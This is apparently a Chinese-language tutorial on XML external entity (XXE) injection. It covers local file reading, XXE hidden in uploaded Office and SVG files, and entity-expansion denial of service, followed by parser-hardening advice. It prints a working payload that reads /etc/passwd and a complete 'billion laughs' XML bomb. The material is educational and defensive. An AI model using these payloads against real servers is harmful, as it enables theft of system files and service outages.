3种XXE不同攻击方式
字数 1004 2025-08-26 22:11:34
XML外部实体(XXE)注入攻击全面解析
什么是XXE攻击?
XML外部实体(XXE)注入是一种严重的安全漏洞,允许攻击者:
- 读取服务器上的本地文件
- 访问内部网络资源
- 扫描内部端口
- 在远程服务器上执行命令
当应用程序解析包含外部实体引用的XML输入时,如果XML解析器配置不当,攻击者可以通过嵌入恶意内联DOCTYPE定义来利用此漏洞。
XXE攻击的三种主要方式
1. 本地文件劫持服务器
攻击原理:
攻击者发送包含恶意DOCTYPE定义的XML payload,服务器处理后会返回敏感信息如:
/etc/passwd文件- 应用程序配置文件
- 内部网络详情
两种实现方式:
- 直接响应:服务器直接返回请求的文件内容
- 外带数据:通过包含攻击者控制的URL,诱导服务器向攻击者服务器发送数据
示例payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
2. 通过文件上传功能访问服务器文件
攻击场景:
利用支持XML格式文件上传的功能(如DOCX, XLSX, PPTX, SVG等),上传包含XXE payload的恶意文件。
特点:
- 不同XML解析库可能有不同行为
- 绕过常规Web防护措施
- 利用业务功能实现攻击
攻击步骤:
- 创建包含XXE payload的Office文档
- 上传到目标系统
- 系统解析文件时执行payload
- 泄露服务器敏感信息
3. 递归实体扩展DoS攻击(十亿笑攻击/XML炸弹)
攻击原理:
通过定义递归引用的实体,导致解析器无限扩展实体,耗尽服务器资源。
示例payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>
效果:
- CPU使用率急剧上升
- 内存耗尽
- 服务器崩溃或无响应
XXE防御措施
-
禁用外部实体处理:
- 在XML解析器中禁用DTD和外部实体
- 必要时仅允许受限和受信任的外部链接
-
使用安全的XML解析器配置:
// Java示例 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
输入验证:
- 验证所有XML输入
- 过滤或拒绝包含DOCTYPE声明的XML
-
文件上传防护:
- 对上传的XML文件进行严格检查
- 使用专用沙箱环境处理上传文件
-
保持XML库更新:
- 确保使用的XML库是最新版本
- 及时修补已知漏洞
总结
XXE攻击位列OWASP Top 10 2017年第4位,虽然不是一个新漏洞,但在现代应用中仍然广泛存在。成功的XXE攻击可能导致:
- 敏感数据泄露
- 系统拒绝服务
- 内部网络渗透
- 远程代码执行
开发人员和安全团队应当充分了解XXE的各种攻击方式,并在应用程序设计和部署阶段实施适当的防护措施。